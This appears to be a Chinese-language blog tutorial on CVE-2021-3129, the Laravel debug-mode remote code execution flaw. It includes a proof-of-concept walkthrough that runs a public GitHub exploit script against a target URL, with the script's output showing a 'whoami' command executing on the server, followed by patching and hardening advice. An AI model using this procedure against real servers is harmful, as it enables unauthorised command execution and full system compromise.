2021 年 2 月,一名安全研究员在流行的 PHP 框架 Laravel 中发现了一个严重的安全漏洞。该漏洞被指定为 CVE-2021-3129,允许攻击者在运行易受攻击应用程序的服务器上执行任意代码,从而可能导致服务器被完全攻陷。
漏洞如何工作
该漏洞源于 Laravel 在“调试模式”下处理用户输入的方式存在缺陷。
调试模式是 Laravel 的一个功能,它允许开发者显示详细的错误信息,从而更容易诊断和排查代码中的问题。
然而,如果攻击者能够向处于调试模式的 Laravel 应用程序提交特制的输入,就可以利用此漏洞在服务器上执行任意代码。
概念验证
在本次概念验证中,我们将使用 Joshua van der Poll 创建的脚本来利用 Laravel 调试模式漏洞(CVE-2021-3129)。该漏洞影响基于 Windows 和 Linux 的 Laravel 网站。
你可以在 GitHub 上找到该脚本:joshuavanderpoll/CVE-2021-3129。
该 Python 脚本会检查漏洞是否存在,并允许你在目标系统上执行命令。
开始之前,请从 GitHub 下载脚本,并按照 README.md 文件中的设置步骤进行操作。
脚本设置完成后,运行以下命令:
$ python3 CVE-2021-3129.py
你将看到如下输出:
Laravel Debug Mode CVE script [•] Made by: https://github.com/joshuavanderpoll/CVE-2021-3129 [•] Using PHPGGC: https://github.com/ambionics/phpggc [?] Enter host (e.g. https://example.com/) : https://unsafe_laravel_site.com/ [@] Starting exploit on "https://unsafe_laravel_site.com/"... [@] Testing vulnerable URL https://unsafe_laravel_site.com/_ignition/execute-solution... [√] Host seems vulnerable! [@] Searching Laravel log file path... [•] Laravel seems to be running on a Windows based machine. [√] Laravel log found: "C:\inetpub\wwwroot\UnsafeLaravel\storage\logs\laravel.log". [•] Laravel version found: "7.30.4". [•] Use "?" for a list of all possible actions. [?] Please enter a command to execute:
当你看到该主机存在漏洞的提示后,你即可开始执行命令。例如:
execute whoami
将产生如下输出:
[@] Executing command "whoami"... [@] Generating payloads... [√] Generated 12 payloads. [@] Trying chain laravel/rce1 [1/12]... [@] Clearing logs... [@] Causing error in logs... [√] Caused error in logs. [@] Sending payloads... [√] Sent payload. [@] Converting payload... [√] Converted payload. [√] Result: autorite nt\iusr [?] Do you want to try the next chain? [Y/N] : n
如你所见,如果漏洞未被修补,脚本将允许你在目标系统上执行命令。这可能导致系统被完全攻陷或被植入后门。
如何修补该漏洞
Laravel 开发团队迅速发布了补丁,该补丁包含在 Laravel 8.4.2 版本中。
他们还发布了安全公告,敦促所有 Laravel 用户尽快更新自己的应用程序。
要升级你的 Laravel 项目,请在项目根目录运行以下命令:
composer update laravel/framework
此命令会将 Laravel 更新到最新版本,并包含 CVE-2021-3129 的补丁。
此外,务必确保生产环境中关闭调试模式。
调试模式仅应用于开发和测试,不应在生产环境中启用。
总结
总而言之,CVE-2021-3129 是一个严重漏洞,它可能允许攻击者在运行易受攻击 Laravel 应用程序的服务器上执行任意代码。
该漏洞已在 Laravel 8.4.2 中修补,因此如果你使用的是旧版本,请务必尽快更新。
同时,请确保在生产环境中禁用调试模式,以最大限度降低被利用的风险。